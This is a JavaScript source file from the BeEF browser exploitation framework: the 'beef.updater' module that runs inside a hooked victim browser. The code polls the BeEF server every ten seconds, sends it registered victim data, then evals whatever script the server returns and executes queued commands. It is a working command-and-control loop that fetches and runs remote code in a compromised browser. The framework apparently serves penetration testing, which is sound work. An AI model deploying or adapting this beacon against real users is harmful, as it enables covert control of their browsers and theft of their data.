ffa735caff
git-svn-id: https://beef.googlecode.com/svn/trunk@503 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
89 lines
2.1 KiB
JavaScript
89 lines
2.1 KiB
JavaScript
/*!
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* @Literal object: beef.updater
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*
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* Object in charge of getting new commands from the BeEF framework and execute them.
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*/
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beef.updater = {
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// Low timeouts combined with the way the framework sends commamd modules result
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// in instructions being sent repeatedly or complex code.
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// If you suffer from ADHD, you can decrease this setting.
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timeout: 10000,
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// A lock.
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lock: false,
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// An object containing all values to be registered and sent by the updater.
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objects: new Object(),
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/*
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* Registers an object to always send when requesting new commands to the framework.
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* @param: {String} the name of the object.
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* @param: {String} the value of that object.
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*
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* @example: beef.updater.regObject('java_enabled', 'true');
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*/
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regObject: function(key, value) {
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this.objects[key] = escape(value);
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},
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// Checks for new commands from the framework and runs them.
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check: function() {
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if(this.lock == false) {
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if(beef.commands.length > 0) {
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this.execute_commands();
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} else {
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this.get_commands();
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}
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}
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setTimeout("beef.updater.check();", beef.updater.timeout);
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},
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// Gets new commands from the framework.
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get_commands: function(http_response) {
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try {
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this.lock = true;
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beef.net.request(
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beef.net.beef_url + beef.net.beef_hook,
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'POST',
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function(response) { if(response.length > 0) {eval(response); beef.updater.execute_commands();} },
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beef.updater.build_updater_params()
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);
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} catch(e) {
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this.lock = false;
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return;
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}
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this.lock = false;
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},
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// Builds the POST parameters to send back to the framework when requesting new commands.
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build_updater_params: function() {
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ret = 'beef_js_cmps=' + beef.components.join(',')
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for(key in this.objects) {
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ret += '&' + key + '=' + escape(this.objects[key]);
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}
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return ret;
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},
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// Executes the received commands if any.
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execute_commands: function() {
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if(beef.commands.length == 0) return;
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this.lock = true;
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while(beef.commands.length > 0) {
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command = beef.commands.pop();
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try {
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command();
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} catch(e) {}
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}
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this.lock = false;
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}
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}
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beef.regCmp('beef.updater'); |